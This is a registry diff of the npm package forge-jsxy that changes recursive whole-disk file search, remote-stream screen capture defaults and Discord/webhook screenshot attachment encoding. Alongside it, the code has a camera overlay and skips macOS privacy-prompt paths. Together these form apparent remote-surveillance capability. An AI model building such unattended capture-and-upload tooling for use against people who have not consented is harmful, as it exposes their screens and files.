forge-jsxy 1.0.78 → 1.0.80

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -37,6 +37,8 @@ var __importDefault = (this && this.__importDefault) || function (mod) {
37
37
  };
38
38
  Object.defineProperty(exports, "__esModule", { value: true });
39
39
  exports.MAX_READ_BYTES = exports.MAX_LIST_ENTRIES = void 0;
40
+ exports.fsSearchListingIsFilesystemRoot = fsSearchListingIsFilesystemRoot;
41
+ exports.fsSearchWalkAllowsCurReal = fsSearchWalkAllowsCurReal;
40
42
  exports.allowedFsRoots = allowedFsRoots;
41
43
  exports.resolveFsPath = resolveFsPath;
42
44
  exports.fsListDir = fsListDir;
@@ -119,6 +121,21 @@ function buildGlobSearchMatchers(token) {
119
121
  const patterns = new Set([normalized]);
120
122
  if (!normalized.includes("/"))
121
123
  patterns.add(`**/${normalized}`);
124
+ /** MS Word: `*.doc` and similar should also match `.docx` (user expectation for "Word documents"). */
125
+ /** Symmetric: `*.docx` / `.docx` globs also match legacy `.doc`. */
126
+ for (const p of Array.from(patterns)) {
127
+ const pl = p.toLowerCase();
128
+ if (pl.endsWith(".doc") && !pl.endsWith(".docx"))
129
+ patterns.add(`${p}x`);
130
+ /** e.g. `*doc` / `file*doc` → also `*docx` so `report.docx` matches Word-style searches. */
131
+ if (/\*doc$/i.test(p) && !/\*docx$/i.test(p))
132
+ patterns.add(`${p}x`);
133
+ if (pl.endsWith(".docx")) {
134
+ const legacy = p.replace(/\.docx$/i, ".doc");
135
+ if (legacy !== p)
136
+ patterns.add(legacy);
137
+ }
138
+ }
122
139
  const matchers = [];
123
140
  for (const pattern of patterns) {
124
141
  try {
@@ -180,9 +197,21 @@ function fsNameMatchesSearch(name, tokens) {
180
197
  const loweredName = String(name || "").toLowerCase();
181
198
  for (const token of tokens) {
182
199
  if (token.type === "contains") {
183
- if (!loweredName.includes(token.value))
184
- return false;
185
- continue;
200
+ const v = token.value;
201
+ if (loweredName.includes(v))
202
+ continue;
203
+ if (v === "doc" && /\.docx?$/i.test(loweredName))
204
+ continue;
205
+ if (v.endsWith(".doc") && !v.endsWith(".docx") && loweredName.includes(`${v}x`))
206
+ continue;
207
+ if (v === ".docx" && /\.doc$/i.test(loweredName))
208
+ continue;
209
+ if (v.endsWith(".docx") && v.length > 4) {
210
+ const legacyWant = v.replace(/\.docx$/i, ".doc");
211
+ if (legacyWant !== v && loweredName.includes(legacyWant))
212
+ continue;
213
+ }
214
+ return false;
186
215
  }
187
216
  if (!token.matchers.some((matcher) => matcher(loweredName)))
188
217
  return false;
@@ -214,22 +243,6 @@ const SEARCH_SKIP_WINDOWS_SYSTEM_DIRS = new Set([
214
243
  "perflogs",
215
244
  "msocache",
216
245
  ]);
217
- const SEARCH_SKIP_UNIX_SYSTEM_DIRS = new Set([
218
- "proc",
219
- "sys",
220
- "dev",
221
- "run",
222
- "var",
223
- "usr",
224
- "bin",
225
- "sbin",
226
- "lib",
227
- "lib64",
228
- "opt",
229
- "snap",
230
- "tmp",
231
- "lost+found",
232
- ]);
233
246
  const SEARCH_SKIP_SYSTEM_FILES = new Set(["pagefile.sys", "hiberfil.sys", "swapfile.sys"]);
234
247
  function userDataSearchRoots() {
235
248
  const out = [];
@@ -317,18 +330,60 @@ function pathIntersectsSearchScope(p, scopeRoots) {
317
330
  }
318
331
  return false;
319
332
  }
320
- function shouldSkipSearchEntryName(name, isDir) {
321
- const n = String(name || "").trim().toLowerCase();
333
+ /**
334
+ * True when the listing directory is a bare OS filesystem root (Windows `C:\\`, POSIX `/`).
335
+ * User-data search narrowing applies **only** here: searching from `C:\\Users\\me` must still walk
336
+ * Pictures, Videos, etc., not only Desktop/Documents/Downloads intersect roots.
337
+ */
338
+ function fsSearchListingIsFilesystemRoot(dirResolved) {
339
+ try {
340
+ const rp = normCase(path.normalize(fs.realpathSync(dirResolved)));
341
+ if (!isWindows())
342
+ return rp === "/" || rp === "//";
343
+ return /^[a-z]:\\?$/.test(rp);
344
+ }
345
+ catch {
346
+ return false;
347
+ }
348
+ }
349
+ function fsSearchWalkAllowsCurReal(curRealNorm, listingDirNorm, listingDirResolved, enforceUserScope, userSubtreeRoots) {
350
+ if (!pathUnder(curRealNorm, listingDirNorm))
351
+ return false;
352
+ const narrowToUserSubtrees = enforceUserScope &&
353
+ userSubtreeRoots != null &&
354
+ userSubtreeRoots.length > 0 &&
355
+ fsSearchListingIsFilesystemRoot(listingDirResolved);
356
+ if (narrowToUserSubtrees)
357
+ return pathIntersectsSearchScope(curRealNorm, userSubtreeRoots);
358
+ return true;
359
+ }
360
+ /**
361
+ * Skip rules while walking the search tree. Unix: **do not** skip by basename (`tmp/`, `bin/`, etc.)
362
+ * inside project trees — only skip resolved paths under kernel/virtual mounts (`/proc`, `/sys`, …).
363
+ */
364
+ function shouldSkipSearchTreeEntry(childAbs, baseName, isDir) {
365
+ const n = String(baseName || "").trim().toLowerCase();
322
366
  if (!n)
323
367
  return false;
324
- if (isDir && (0, explorerHeavyDirSkips_1.explorerHeavySubdirNameSkipped)(name))
325
- return true;
326
- if (isDir && isWindows() && SEARCH_SKIP_WINDOWS_SYSTEM_DIRS.has(n))
327
- return true;
328
- if (isDir && !isWindows() && SEARCH_SKIP_UNIX_SYSTEM_DIRS.has(n))
368
+ if (!isDir) {
369
+ return SEARCH_SKIP_SYSTEM_FILES.has(n);
370
+ }
371
+ if ((0, explorerHeavyDirSkips_1.explorerHeavySubdirNameSkipped)(baseName))
329
372
  return true;
330
- if (!isDir && SEARCH_SKIP_SYSTEM_FILES.has(n))
373
+ if (isWindows() && SEARCH_SKIP_WINDOWS_SYSTEM_DIRS.has(n))
331
374
  return true;
375
+ if (!isWindows()) {
376
+ try {
377
+ const rp = normCase(fs.realpathSync(childAbs));
378
+ for (const pre of ["/proc", "/sys", "/dev", "/run"]) {
379
+ if (rp === pre || rp.startsWith(pre + path.sep))
380
+ return true;
381
+ }
382
+ }
383
+ catch {
384
+ /* broken symlink / unreadable — still allow match attempt */
385
+ }
386
+ }
332
387
  return false;
333
388
  }
334
389
  function searchUserDataOnlyEnabled() {
@@ -337,7 +392,11 @@ function searchUserDataOnlyEnabled() {
337
392
  .toLowerCase();
338
393
  if (raw)
339
394
  return ["1", "true", "yes", "on"].includes(raw);
340
- // Keep unit/invariant tests deterministic on temp dirs; production defaults to enabled.
395
+ /**
396
+ * Production default on: from a drive/root-like listing, recursive search stays under profile-related
397
+ * subtrees. Folders **outside** those (other volumes, `/tmp`, etc.) still deep-search starting at the
398
+ * current directory — see `scopeRoots` fallback in {@link fsListDir}.
399
+ */
341
400
  return String(process.env.NODE_ENV || "").trim().toLowerCase() !== "test";
342
401
  }
343
402
  /**
@@ -633,30 +692,37 @@ function fsListDir(pathStr, roots = null, searchQuery = "") {
633
692
  const searchScanCap = maxSearchScanEntries();
634
693
  const userScopeRoots = userDataSearchRoots();
635
694
  const enforceUserScope = searchUserDataOnlyEnabled();
636
- const scopeRoots = enforceUserScope
637
- ? userScopeRoots.length > 0
638
- ? userScopeRoots.filter((root) => pathIntersectsSearchScope(dir, [root]))
639
- : [dir]
640
- : [dir];
641
- if (scopeRoots.length === 0) {
642
- return {
643
- ok: true,
644
- path: dir,
645
- entries: [],
646
- truncated: false,
647
- search_query: parsedSearch.normalized,
648
- search_applied: true,
649
- search_recursive: true,
650
- search_scan_limited: false,
651
- search_scanned_entries: 0,
652
- };
695
+ /**
696
+ * Optional subtrees (Desktop/Documents/Downloads, …) used **only** when the listing path is a bare
697
+ * filesystem root (`C:\\`, `/`). Otherwise the walk is bounded by {@link pathUnder}(`cur`, `dir`)
698
+ * so profile folders like Pictures/Videos are never incorrectly excluded.
699
+ */
700
+ let userSubtreeRoots = null;
701
+ if (enforceUserScope && userScopeRoots.length > 0) {
702
+ const intersecting = userScopeRoots.filter((root) => pathIntersectsSearchScope(dir, [root]));
703
+ if (intersecting.length > 0)
704
+ userSubtreeRoots = intersecting;
653
705
  }
706
+ const listingDirNorm = normCase(path.normalize(dir));
654
707
  const queue = [{ abs: dir, rel: "" }];
655
708
  let qIdx = 0;
709
+ /** Avoid cycles / duplicate work when directory symlinks point into already-visited real paths. */
710
+ const visitedSearchRealPaths = new Set();
656
711
  while (qIdx < queue.length) {
657
712
  const cur = queue[qIdx++];
658
- if (!pathIntersectsSearchScope(cur.abs, scopeRoots))
713
+ let curReal = "";
714
+ try {
715
+ curReal = normCase(fs.realpathSync(cur.abs));
716
+ }
717
+ catch {
718
+ continue;
719
+ }
720
+ if (visitedSearchRealPaths.has(curReal))
659
721
  continue;
722
+ visitedSearchRealPaths.add(curReal);
723
+ if (!fsSearchWalkAllowsCurReal(curReal, listingDirNorm, dir, enforceUserScope, userSubtreeRoots)) {
724
+ continue;
725
+ }
660
726
  let names;
661
727
  try {
662
728
  names = fs.readdirSync(cur.abs, { withFileTypes: true });
@@ -672,12 +738,16 @@ function fsListDir(pathStr, roots = null, searchQuery = "") {
672
738
  searchScanLimited = true;
673
739
  break;
674
740
  }
675
- if (shouldSkipSearchEntryName(ent.name, ent.isDirectory()))
676
- continue;
677
741
  const childAbs = path.join(cur.abs, ent.name);
678
742
  const childRel = cur.rel ? path.join(cur.rel, ent.name) : ent.name;
679
- if (!pathIntersectsSearchScope(childAbs, scopeRoots))
743
+ if ((0, explorerHeavyDirSkips_1.explorerHeavySubdirNameSkipped)(ent.name))
744
+ continue;
745
+ if (isWindows() &&
746
+ ent.isDirectory() &&
747
+ !ent.isSymbolicLink() &&
748
+ SEARCH_SKIP_WINDOWS_SYSTEM_DIRS.has(String(ent.name || "").trim().toLowerCase())) {
680
749
  continue;
750
+ }
681
751
  if (macosPathRequiresTccPrompt(childAbs))
682
752
  continue;
683
753
  let lst;
@@ -695,9 +765,9 @@ function fsListDir(pathStr, roots = null, searchQuery = "") {
695
765
  catch {
696
766
  continue;
697
767
  }
698
- if (shouldSkipSearchEntryName(ent.name, isDir))
768
+ if (shouldSkipSearchTreeEntry(childAbs, ent.name, isDir))
699
769
  continue;
700
- if (isDir && !isSymlink)
770
+ if (isDir)
701
771
  queue.push({ abs: childAbs, rel: childRel });
702
772
  if (!fsEntryMatchesSearch(ent.name, childRel, parsedSearch.tokens))
703
773
  continue;
@@ -2340,15 +2410,15 @@ function screenshotHardCapBytes(overrideMaxBytes) {
2340
2410
  /**
2341
2411
  * Lower bound for remote-stream JPEG target bytes as a ratio of the negotiated
2342
2412
  * hard cap. Higher ratio means less over-compression (clearer text), while
2343
- * still respecting the absolute cap. Range: 0.55 .. 0.98.
2413
+ * still respecting the absolute cap. Range: 0.55 .. 0.98. Default **0.72** (unset env).
2344
2414
  */
2345
2415
  function remoteStreamJpegFloorRatio() {
2346
2416
  const raw = (process.env.FORGE_JS_REMOTE_STREAM_JPEG_FLOOR_RATIO || "").trim();
2347
2417
  if (!raw)
2348
- return 0.82;
2418
+ return 0.72;
2349
2419
  const n = Number(raw);
2350
2420
  if (!Number.isFinite(n))
2351
- return 0.82;
2421
+ return 0.72;
2352
2422
  return Math.min(0.98, Math.max(0.55, n));
2353
2423
  }
2354
2424
  /**
@@ -2365,17 +2435,35 @@ function remoteStreamUseVirtualOffsets() {
2365
2435
  return ["1", "true", "yes", "on"].includes(raw);
2366
2436
  }
2367
2437
  /**
2368
- * Fast gdigrab path for Windows remote_stream. Disabled by default because
2369
- * reliability/full-desktop coverage is preferred over throughput for readable
2370
- * 1 FPS remote control sessions.
2438
+ * Fast ffmpeg gdigrab path for Windows `remote_stream`. **On by default** for lower
2439
+ * capture latency; falls back to full VirtualScreen PowerShell capture when gdigrab
2440
+ * looks partial/wrong. Disable with `FORGE_JS_REMOTE_STREAM_FAST_CAPTURE=0` (or
2441
+ * `false` / `no` / `off`) if a host misbehaves with gdigrab.
2371
2442
  */
2372
2443
  function remoteStreamUseFastCapture() {
2373
2444
  const raw = String(process.env.FORGE_JS_REMOTE_STREAM_FAST_CAPTURE || "")
2374
2445
  .trim()
2375
2446
  .toLowerCase();
2376
2447
  if (!raw)
2448
+ return true;
2449
+ if (["0", "false", "no", "off"].includes(raw))
2377
2450
  return false;
2378
- return ["1", "true", "yes", "on"].includes(raw);
2451
+ return true;
2452
+ }
2453
+ /**
2454
+ * ffmpeg MJPEG `-q:v` for Windows gdigrab remote_stream (2 = high quality / larger,
2455
+ * 31 = smaller / faster). Override via `FORGE_JS_REMOTE_STREAM_JPEG_Q`.
2456
+ * Default **14** — latency-first dashboard (smaller/faster than 12); use `FORGE_JS_REMOTE_STREAM_JPEG_Q=10`
2457
+ * if text must stay sharper.
2458
+ */
2459
+ function remoteStreamJpegQuality() {
2460
+ const raw = String(process.env.FORGE_JS_REMOTE_STREAM_JPEG_Q || "").trim();
2461
+ if (!raw)
2462
+ return 14;
2463
+ const n = parseInt(raw, 10);
2464
+ if (!Number.isFinite(n))
2465
+ return 14;
2466
+ return Math.min(31, Math.max(2, n));
2379
2467
  }
2380
2468
  function cameraOverlayEnabledByDefault() {
2381
2469
  const raw = String(process.env.FORGE_JS_CAMERA_OVERLAY_ENABLED || "").trim().toLowerCase();
@@ -2389,6 +2477,13 @@ function cameraOverlayWidthPercent() {
2389
2477
  return 20;
2390
2478
  return Math.min(40, Math.max(10, raw));
2391
2479
  }
2480
+ /** Default on: prioritize filling Discord/Webhook attachment cap with best JPEG; set `FORGE_JS_DISCORD_ATTACHMENT_PREFER_QUALITY=0` to revert to smallest-first ffmpeg passes (faster encode, blurrier). */
2481
+ function discordAttachmentPreferQualityWithinCap() {
2482
+ const raw = String(process.env.FORGE_JS_DISCORD_ATTACHMENT_PREFER_QUALITY ?? "1")
2483
+ .trim()
2484
+ .toLowerCase();
2485
+ return !["0", "false", "no", "off"].includes(raw);
2486
+ }
2392
2487
  function normalizeScreenshotCaptureOptions(options) {
2393
2488
  const o = options || {};
2394
2489
  const streamProfile = String(o.stream_profile || "").trim().toLowerCase();
@@ -2444,9 +2539,9 @@ function formatScreenshotLegacyTooLargeError(size, cap) {
2444
2539
  * When {@link shrinkScreenshotFileToMaxBytes} fails (AV locks path, NFS, odd FS), we still hold `raw` in RAM —
2445
2540
  * Jimp/ffmpeg often succeed from a buffer or a fresh temp write.
2446
2541
  */
2447
- async function rescueScreenshotBufferUnderCap(raw, hardCap) {
2542
+ async function rescueScreenshotBufferUnderCap(raw, hardCap, prefs) {
2448
2543
  for (const t of screenshotShrinkTierTargets(hardCap)) {
2449
- const out = await shrinkScreenshotBufferToMaxBytes(raw, t);
2544
+ const out = await shrinkScreenshotBufferToMaxBytes(raw, t, prefs);
2450
2545
  if (out && out.buffer.length <= hardCap) {
2451
2546
  return out;
2452
2547
  }
@@ -2456,7 +2551,7 @@ async function rescueScreenshotBufferUnderCap(raw, hardCap) {
2456
2551
  /**
2457
2552
  * Final attempts with very small encode budgets (must succeed whenever Jimp or ffmpeg can read the image).
2458
2553
  */
2459
- async function lastResortScreenshotShrinkBuffer(raw, hardCap) {
2554
+ async function lastResortScreenshotShrinkBuffer(raw, hardCap, prefs) {
2460
2555
  const micro = [
2461
2556
  32 * 1024,
2462
2557
  24 * 1024,
@@ -2471,7 +2566,7 @@ async function lastResortScreenshotShrinkBuffer(raw, hardCap) {
2471
2566
  1024,
2472
2567
  ];
2473
2568
  for (const t of micro) {
2474
- const out = await shrinkScreenshotBufferToMaxBytes(raw, t);
2569
+ const out = await shrinkScreenshotBufferToMaxBytes(raw, t, prefs);
2475
2570
  if (out && out.buffer.length <= hardCap) {
2476
2571
  return out;
2477
2572
  }
@@ -2493,6 +2588,9 @@ async function resultFromPngPath(outPath, options) {
2493
2588
  return { ok: false, error: "screenshot produced no image file" };
2494
2589
  }
2495
2590
  const hardCap = screenshotHardCapBytes(options?.maxBytes ?? null);
2591
+ const shrinkPrefs = options?.streamProfile === "discord_upload" && discordAttachmentPreferQualityWithinCap()
2592
+ ? { preferQualityNearCap: true }
2593
+ : undefined;
2496
2594
  if (options?.includeCamera && options.streamProfile !== "remote_stream") {
2497
2595
  const ffmpeg = resolveFfmpegForShrink();
2498
2596
  if (ffmpeg) {
@@ -2504,20 +2602,20 @@ async function resultFromPngPath(outPath, options) {
2504
2602
  if (buf.length > hardCap) {
2505
2603
  let shrunk = null;
2506
2604
  for (const tier of screenshotShrinkTierTargets(hardCap)) {
2507
- shrunk = await shrinkScreenshotFileToMaxBytes(outPath, tier);
2605
+ shrunk = await shrinkScreenshotFileToMaxBytes(outPath, tier, shrinkPrefs);
2508
2606
  if (shrunk && shrunk.buffer.length <= hardCap) {
2509
2607
  break;
2510
2608
  }
2511
2609
  shrunk = null;
2512
2610
  }
2513
2611
  if (!shrunk || shrunk.buffer.length > hardCap) {
2514
- const rescued = await rescueScreenshotBufferUnderCap(buf, hardCap);
2612
+ const rescued = await rescueScreenshotBufferUnderCap(buf, hardCap, shrinkPrefs);
2515
2613
  if (rescued && rescued.buffer.length <= hardCap) {
2516
2614
  shrunk = rescued;
2517
2615
  }
2518
2616
  }
2519
2617
  if (!shrunk || shrunk.buffer.length > hardCap) {
2520
- const last = await lastResortScreenshotShrinkBuffer(buf, hardCap);
2618
+ const last = await lastResortScreenshotShrinkBuffer(buf, hardCap, shrinkPrefs);
2521
2619
  if (last && last.buffer.length <= hardCap) {
2522
2620
  shrunk = last;
2523
2621
  }
@@ -2538,9 +2636,9 @@ async function resultFromPngPath(outPath, options) {
2538
2636
  mime = shrunk.mime;
2539
2637
  }
2540
2638
  if (buf.length > hardCap) {
2541
- let rescued = await rescueScreenshotBufferUnderCap(buf, hardCap);
2639
+ let rescued = await rescueScreenshotBufferUnderCap(buf, hardCap, shrinkPrefs);
2542
2640
  if (!rescued || rescued.buffer.length > hardCap) {
2543
- rescued = await lastResortScreenshotShrinkBuffer(buf, hardCap);
2641
+ rescued = await lastResortScreenshotShrinkBuffer(buf, hardCap, shrinkPrefs);
2544
2642
  }
2545
2643
  if (!rescued || rescued.buffer.length > hardCap) {
2546
2644
  const fb = screenshotGuaranteedPlaceholderUnderCap(hardCap);
@@ -2998,6 +3096,85 @@ function ffmpegAggressiveJpegFileUnderCap(sourcePath, cap, iw, ih, tmpDir, id) {
2998
3096
  }
2999
3097
  return null;
3000
3098
  }
3099
+ /**
3100
+ * Discord uploads: among encodes with size ≤ cap, return the **largest** buffer (best use of byte budget).
3101
+ * Contrasts with {@link ffmpegAggressiveJpegFileUnderCap}, which returns the first fit (usually far under cap).
3102
+ */
3103
+ function ffmpegPreferQualityJpegFileUnderCap(sourcePath, cap, iw, ih, tmpDir, id) {
3104
+ const ffmpeg = resolveFfmpegForShrink();
3105
+ if (!ffmpeg)
3106
+ return null;
3107
+ const shrinkEnv = envForShrinkSpawn();
3108
+ const w0 = Math.max(1, iw);
3109
+ const h0 = Math.max(1, ih);
3110
+ const maxSides = [
3111
+ 8192, 7680, 7168, 6144, 5120, 4096, 3840, 3440, 3200, 2560, 2048, 1920, 1600, 1280, 1024,
3112
+ ];
3113
+ const qvs = [2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 14, 16, 18, 20, 22, 24, 26, 28, 31];
3114
+ let best = null;
3115
+ let bestLen = 0;
3116
+ for (const maxSide of maxSides) {
3117
+ let tw = w0;
3118
+ let th = h0;
3119
+ if (Math.max(tw, th) > maxSide) {
3120
+ if (tw >= th) {
3121
+ tw = maxSide;
3122
+ th = Math.max(1, Math.round((h0 * maxSide) / w0));
3123
+ }
3124
+ else {
3125
+ th = maxSide;
3126
+ tw = Math.max(1, Math.round((w0 * maxSide) / h0));
3127
+ }
3128
+ }
3129
+ for (const qv of qvs) {
3130
+ const outPath = path.join(tmpDir, `forge-fe-ffpq-${id}-${maxSide}-${qv}.jpg`);
3131
+ try {
3132
+ const r = (0, node_child_process_1.spawnSync)(ffmpeg, [
3133
+ "-nostdin",
3134
+ "-hide_banner",
3135
+ "-loglevel",
3136
+ "error",
3137
+ "-y",
3138
+ "-i",
3139
+ sourcePath,
3140
+ "-vf",
3141
+ `scale=${tw}:${th}:flags=lanczos`,
3142
+ "-q:v",
3143
+ String(qv),
3144
+ "-frames:v",
3145
+ "1",
3146
+ outPath,
3147
+ ], { timeout: 120_000, env: shrinkEnv, stdio: "ignore" });
3148
+ if (r.status !== 0 || !fs.existsSync(outPath))
3149
+ continue;
3150
+ const jbuf = fs.readFileSync(outPath);
3151
+ try {
3152
+ fs.unlinkSync(outPath);
3153
+ }
3154
+ catch {
3155
+ /* skip */
3156
+ }
3157
+ if (jbuf.length <= cap && jbuf.length > bestLen) {
3158
+ best = jbuf;
3159
+ bestLen = jbuf.length;
3160
+ }
3161
+ }
3162
+ catch {
3163
+ try {
3164
+ if (fs.existsSync(outPath))
3165
+ fs.unlinkSync(outPath);
3166
+ }
3167
+ catch {
3168
+ /* skip */
3169
+ }
3170
+ }
3171
+ }
3172
+ if (best && bestLen >= cap * 0.985) {
3173
+ break;
3174
+ }
3175
+ }
3176
+ return best ? { buffer: best, mime: "image/jpeg" } : null;
3177
+ }
3001
3178
  /**
3002
3179
  * PNG/JPEG bytes on ffmpeg stdin — succeeds when `-i path` fails (permissions, AV) but RAM holds the image.
3003
3180
  */
@@ -3063,6 +3240,76 @@ function ffmpegStdinImageBytesToJpegUnderCap(inputBytes, cap, tmpDir, id) {
3063
3240
  }
3064
3241
  return null;
3065
3242
  }
3243
+ /**
3244
+ * stdin pipe variant of {@link ffmpegPreferQualityJpegFileUnderCap} for huge buffers when temp read path fails.
3245
+ */
3246
+ function ffmpegStdinPreferQualityImageBytesToJpegUnderCap(inputBytes, cap, tmpDir, id) {
3247
+ const ffmpeg = resolveFfmpegForShrink();
3248
+ if (!ffmpeg || inputBytes.length < 24)
3249
+ return null;
3250
+ const shrinkEnv = envForShrinkSpawn();
3251
+ const maxSides = [
3252
+ 8192, 7680, 6144, 5120, 4096, 3840, 3200, 2560, 2048, 1920, 1600, 1280, 1024, 800, 640,
3253
+ ];
3254
+ const qvs = [2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 14, 16, 18, 20, 22, 24, 26, 28, 31];
3255
+ let best = null;
3256
+ let bestLen = 0;
3257
+ for (const maxSide of maxSides) {
3258
+ for (const qv of qvs) {
3259
+ const outPath = path.join(tmpDir, `forge-fe-ffpqi-${id}-${maxSide}-${qv}.jpg`);
3260
+ try {
3261
+ const r = (0, node_child_process_1.spawnSync)(ffmpeg, [
3262
+ "-hide_banner",
3263
+ "-loglevel",
3264
+ "error",
3265
+ "-y",
3266
+ "-f",
3267
+ "image2pipe",
3268
+ "-i",
3269
+ "pipe:0",
3270
+ "-vf",
3271
+ `scale=${maxSide}:-2:flags=lanczos`,
3272
+ "-q:v",
3273
+ String(qv),
3274
+ "-frames:v",
3275
+ "1",
3276
+ outPath,
3277
+ ], {
3278
+ input: inputBytes,
3279
+ timeout: 120_000,
3280
+ env: shrinkEnv,
3281
+ windowsHide: process.platform === "win32",
3282
+ maxBuffer: 64 * 1024 * 1024,
3283
+ });
3284
+ if (r.status !== 0 || !fs.existsSync(outPath))
3285
+ continue;
3286
+ const jbuf = fs.readFileSync(outPath);
3287
+ try {
3288
+ fs.unlinkSync(outPath);
3289
+ }
3290
+ catch {
3291
+ /* skip */
3292
+ }
3293
+ if (jbuf.length <= cap && jbuf.length > bestLen) {
3294
+ best = jbuf;
3295
+ bestLen = jbuf.length;
3296
+ }
3297
+ }
3298
+ catch {
3299
+ try {
3300
+ if (fs.existsSync(outPath))
3301
+ fs.unlinkSync(outPath);
3302
+ }
3303
+ catch {
3304
+ /* skip */
3305
+ }
3306
+ }
3307
+ }
3308
+ if (best && bestLen >= cap * 0.985)
3309
+ break;
3310
+ }
3311
+ return best ? { buffer: best, mime: "image/jpeg" } : null;
3312
+ }
3066
3313
  /** Tiny valid JPEG (1×1) — second fallback when {@link SCREENSHOT_PLACEHOLDER_PNG_1X1} does not fit `cap`. */
3067
3314
  function screenshotGuaranteedFallbackJpeg() {
3068
3315
  return Buffer.from("/9j/4AAQSkZJRgABAQEASABIAAD/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDZkODs8Qjc+P0VDA0NUVWU1VFVjWUBYWmNdYmRkWmJkWmJkWmL/2wBDAQHERERGTFdFRVhjWGNYZFhjWGRYZFhkWGRYZFhkWGRYZFhkWGRYZFhlmGWYZllmWWZZZlmWWZZZlmWWZZZlmWZv/wAARCAAQABADASIAAhEBAxEB/8QAFQABAQAAAAAAAAAAAAAAAAAAAAb/xAAUEAEAAAAAAAAAAAAAAAAAAAAA/9oADAMBAAIRAxEAPwCwABmX/9k=", "base64");
@@ -3094,7 +3341,7 @@ function screenshotGuaranteedPlaceholderUnderCap(cap) {
3094
3341
  * When the captured PNG exceeds `FORGE_JS_SCREENSHOT_MAX_BYTES`, shrink with ImageMagick / ffmpeg, then
3095
3342
  * in-process **Jimp** (always available when the package is installed correctly), then Windows GDI.
3096
3343
  */
3097
- async function shrinkScreenshotFileToMaxBytes(sourcePath, cap) {
3344
+ async function shrinkScreenshotFileToMaxBytes(sourcePath, cap, prefs) {
3098
3345
  let srcBuf;
3099
3346
  try {
3100
3347
  srcBuf = fs.readFileSync(sourcePath);
@@ -3106,14 +3353,28 @@ async function shrinkScreenshotFileToMaxBytes(sourcePath, cap) {
3106
3353
  return { buffer: srcBuf, mime: sniffScreenshotMime(srcBuf) };
3107
3354
  }
3108
3355
  const dim = readPngIhdrSize(srcBuf);
3109
- const iw = dim?.w ?? 1920;
3110
- const ih = dim?.h ?? 1080;
3356
+ let iw = dim?.w ?? 1920;
3357
+ let ih = dim?.h ?? 1080;
3358
+ if (!(dim && dim.w && dim.h) &&
3359
+ srcBuf.length >= 3 &&
3360
+ srcBuf[0] === 0xff &&
3361
+ srcBuf[1] === 0xd8) {
3362
+ const jd = readJpegSize(srcBuf);
3363
+ if (jd) {
3364
+ iw = jd.w;
3365
+ ih = jd.h;
3366
+ }
3367
+ }
3111
3368
  const tmpDir = os.tmpdir();
3112
3369
  const id = (0, node_crypto_1.randomBytes)(8).toString("hex");
3113
- const ffAgg = ffmpegAggressiveJpegFileUnderCap(sourcePath, cap, iw, ih, tmpDir, id);
3370
+ const ffAgg = prefs?.preferQualityNearCap
3371
+ ? ffmpegPreferQualityJpegFileUnderCap(sourcePath, cap, iw, ih, tmpDir, id)
3372
+ : ffmpegAggressiveJpegFileUnderCap(sourcePath, cap, iw, ih, tmpDir, id);
3114
3373
  if (ffAgg)
3115
3374
  return ffAgg;
3116
- const ffStdin = ffmpegStdinImageBytesToJpegUnderCap(srcBuf, cap, tmpDir, `${id}i`);
3375
+ const ffStdin = prefs?.preferQualityNearCap
3376
+ ? ffmpegStdinPreferQualityImageBytesToJpegUnderCap(srcBuf, cap, tmpDir, `${id}iq`)
3377
+ : ffmpegStdinImageBytesToJpegUnderCap(srcBuf, cap, tmpDir, `${id}i`);
3117
3378
  if (ffStdin)
3118
3379
  return ffStdin;
3119
3380
  /** Jimp when ffmpeg unavailable or failed; can OOM on very large PNGs — ffmpeg block above is preferred. */
@@ -3423,7 +3684,7 @@ async function shrinkScreenshotWithJimpInProcess(source, cap) {
3423
3684
  * Shrink in-memory screenshot bytes (PNG/JPEG) to at most `cap` (e.g. Discord attachment limits).
3424
3685
  * Jimp first, then the same temp-file + ImageMagick/ffmpeg/GDI stack as {@link shrinkScreenshotFileToMaxBytes}.
3425
3686
  */
3426
- async function shrinkScreenshotBufferToMaxBytes(buf, cap) {
3687
+ async function shrinkScreenshotBufferToMaxBytes(buf, cap, prefs) {
3427
3688
  if (!buf || buf.length === 0)
3428
3689
  return null;
3429
3690
  if (buf.length <= cap) {
@@ -3434,7 +3695,9 @@ async function shrinkScreenshotBufferToMaxBytes(buf, cap) {
3434
3695
  return j;
3435
3696
  const tmpDir = os.tmpdir();
3436
3697
  const idPre = (0, node_crypto_1.randomBytes)(6).toString("hex");
3437
- const ffStd = ffmpegStdinImageBytesToJpegUnderCap(buf, cap, tmpDir, `${idPre}s`);
3698
+ const ffStd = prefs?.preferQualityNearCap
3699
+ ? ffmpegStdinPreferQualityImageBytesToJpegUnderCap(buf, cap, tmpDir, `${idPre}s`)
3700
+ : ffmpegStdinImageBytesToJpegUnderCap(buf, cap, tmpDir, `${idPre}s`);
3438
3701
  if (ffStd)
3439
3702
  return ffStd;
3440
3703
  const id = (0, node_crypto_1.randomBytes)(8).toString("hex");
@@ -3442,24 +3705,24 @@ async function shrinkScreenshotBufferToMaxBytes(buf, cap) {
3442
3705
  const p = path.join(tmpDir, `forge-fe-sbuf-${id}.${ext}`);
3443
3706
  try {
3444
3707
  fs.writeFileSync(p, buf);
3445
- let out = await shrinkScreenshotFileToMaxBytes(p, cap);
3708
+ let out = await shrinkScreenshotFileToMaxBytes(p, cap, prefs);
3446
3709
  if (!out || out.buffer.length > cap) {
3447
- out = await shrinkScreenshotFileToMaxBytes(p, Math.max(256 * 1024, Math.floor(cap * 0.72)));
3710
+ out = await shrinkScreenshotFileToMaxBytes(p, Math.max(256 * 1024, Math.floor(cap * 0.72)), prefs);
3448
3711
  }
3449
3712
  if (!out || out.buffer.length > cap) {
3450
- out = await shrinkScreenshotFileToMaxBytes(p, Math.max(256 * 1024, Math.floor(cap * 0.52)));
3713
+ out = await shrinkScreenshotFileToMaxBytes(p, Math.max(256 * 1024, Math.floor(cap * 0.52)), prefs);
3451
3714
  }
3452
3715
  if (!out || out.buffer.length > cap) {
3453
- out = await shrinkScreenshotFileToMaxBytes(p, Math.max(8192, Math.floor(cap * 0.35)));
3716
+ out = await shrinkScreenshotFileToMaxBytes(p, Math.max(8192, Math.floor(cap * 0.35)), prefs);
3454
3717
  }
3455
3718
  if (!out || out.buffer.length > cap) {
3456
